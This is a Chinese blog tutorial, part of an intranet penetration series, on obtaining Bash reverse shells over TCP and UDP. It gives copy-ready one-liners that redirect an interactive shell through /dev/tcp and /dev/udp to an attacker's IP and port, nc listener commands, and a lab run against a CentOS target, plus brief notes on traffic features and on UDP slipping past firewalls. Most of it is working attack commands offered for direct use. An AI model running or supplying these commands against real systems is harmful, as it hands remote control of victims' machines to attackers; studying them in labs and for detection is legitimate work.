关注这个专栏的其他相关笔记:[内网安全] 内网渗透 - 学习手册-CSDN博客
0x01:Bash 工具介绍
Shell 常被称为 “终端” 或 “壳”,是人与内核之间的翻译官,而 Bash 则是 Linux 中默认使用的 Shell。
常用的 Bash 反弹 Shell 的命令如下:
### 走 TCP 协议,对应服务端接收使用 nc -lvvp <指定端口>
bash -i >& /dev/tcp/攻击机_IP/攻击者端口 0>&1
bash -i >& /dev/tcp/攻击机_IP/攻击者端口 0>&2
### 走 UDP 协议,对应服务端接收使用 nc -lup <指定端口>
bash -i >& /dev/udp/攻击机_IP/攻击者端口 0>&1
bash -i >& /dev/udp/攻击机_IP/攻击者端口 0>&2
简单介绍一下上面这些命令反弹 Shell 的原理,在介绍原理之前,我们先来了解一下构成这些命令的字符的含义(不了解原理也没关系,拿来用就完了):
bash -i
=> 打开一个交互式的 Shell&
=> 该符号常用于区分文件和文件描述符。当
>&
符号后面跟文件时,表示将标准输出和标准错误输出重定向至指定文件。当
>&
符号后面跟数字时,表示后面的数字是文件描述符,如果不加&
则系统会将后面的数字当作文件名称。
数字
0, 1, 2
是 Linux Shell 下的文件描述符。0
=> 表示标准输入1
=> 表示标准输出2
=> 表示标准错误输出
/dev/tcp
or/dev/udp
=> 这两个文件是 Linux 中的特殊设备,可用于建立 Socket 连接,读写这俩文件就相当于是在 Socket 连接中传输数据。
在上面的命令中,bash -i >& /dev/tcp/攻击机_IP/攻击机端口
表示将标准输出和标准错误输出都重定向到攻击机指定端口中,此时,本地命令的执行结果在攻击机中就可以被看到。而 0>&1
或者 0>&2
则表示将标准输入重定向到了标准输出,而又由于前面标准输出已经重定向到了攻击机,因此标准输入也重定向到了攻击机中,此时攻击机又可以在 Shell 中看到自己输入的命令,结合二者,攻击机就得到了一个基本完善的 Shell,既能执行命令,又能看到命令的回显。
不过上面也说了,这只是一个基本完善的 Shell,像 VIM 这种命令是执行不了的,要想执行这种命令,我们就需要将反弹 Shell,升级为交互式 Shell,这个是后话,这里不说。
0x02:Bash 反向反弹 Shell - TCP 通道
Bash 反弹 Shell 只能用于反向连接,不能正向连接哦。对于正向连接与反向连接的使用场景,相信看过前面 NetCat(NC)反弹 Shell 的小伙伴都已经很清楚了,所以笔者这里就不费笔墨讲解场景了,直接开始实验。
0x0201:Bash 反向反弹 Shell — 实验流程
复现环境
攻击机 Kali Linux:IP 192.168.0.102
靶机 CentOS7:IP 192.168.0.105
首先,在攻击机中执行如下命令,监听本机的 9999 端口,等待靶机自己上钩:
nc -lvvp 9999
然后来到靶机中,执行如下命令,将自己的控制权移交给攻击者的 9999 端口:
bash -i >& /dev/tcp/192.168.0.102/9999 0>&1
此时我们回到 Kali 攻击机中,可以看到靶机成功上线:
0x0202:Bash 反向反弹 Shell — 流量分析
接下来我们就以上面我们通过 Bash 反弹 Shell 在靶机上执行 ifconfig
命令为例,来分析一下 Bash 反弹 Shell 的流量特征。
在 Kali Linux 中打开 WireShark,并重新在反弹 Shell 的界面中输入 ifconfig
后进行抓包:
如上,这就是走 TCP 通道的 Bash 反弹 Shell 的流量,没有任何加密,一眼就看出攻击者做了啥。
0x03:Bash 反向反弹 Shell - UDP 通道
Bash 使用 UDP 通道进行反弹 Shell 主要是给大家长长见识,实际的话,我感觉不太靠谱,因为我一条命令也执行不了(得自己写脚本改)。
0x0301:Bash 反向反弹 Shell — 实验流程
复现环境
攻击机 Kali Linux:IP 192.168.0.102
靶机 CentOS7:IP 192.168.0.105
首先,在攻击机中执行如下命令,监听本机的 9999 端口,等待靶机自己上钩:
nc -lup 9999
然后来到靶机中,执行如下命令,将自己的控制权移交给攻击者的 9999 端口:
bash -i >& /dev/udp/192.168.0.102/9999 0>&1
此时我们回到 Kali 攻击机中,可以看到靶机成功上线,不过很可惜,一句完整的命令都执行不了:
0x0302:Bash 反向反弹 Shell — 流量分析
接下来我们就以上面我们通过 Bash 反弹 Shell 在靶机上执行 w
命令为例,来分析一下走 UDP 的 Bash 反弹 Shell 的流量特征。
在 Kali Linux 中打开 WireShark,并重新在反弹 Shell 的界面中输入 w
后进行抓包:
如上,这就是走 UDP 通道的 Bash 反弹 Shell 的流量,没有任何加密,一眼就看出攻击者做了啥。虽然上面演示的这个有点鸡肋,但是如果你比较牛逼的话,使用 UDP 编的远控工具一般很难被防御,因为 TCP 会走三次握手,会给防火墙很多次机会,UDP 就不会了,直接过,可惜了,就是不稳定。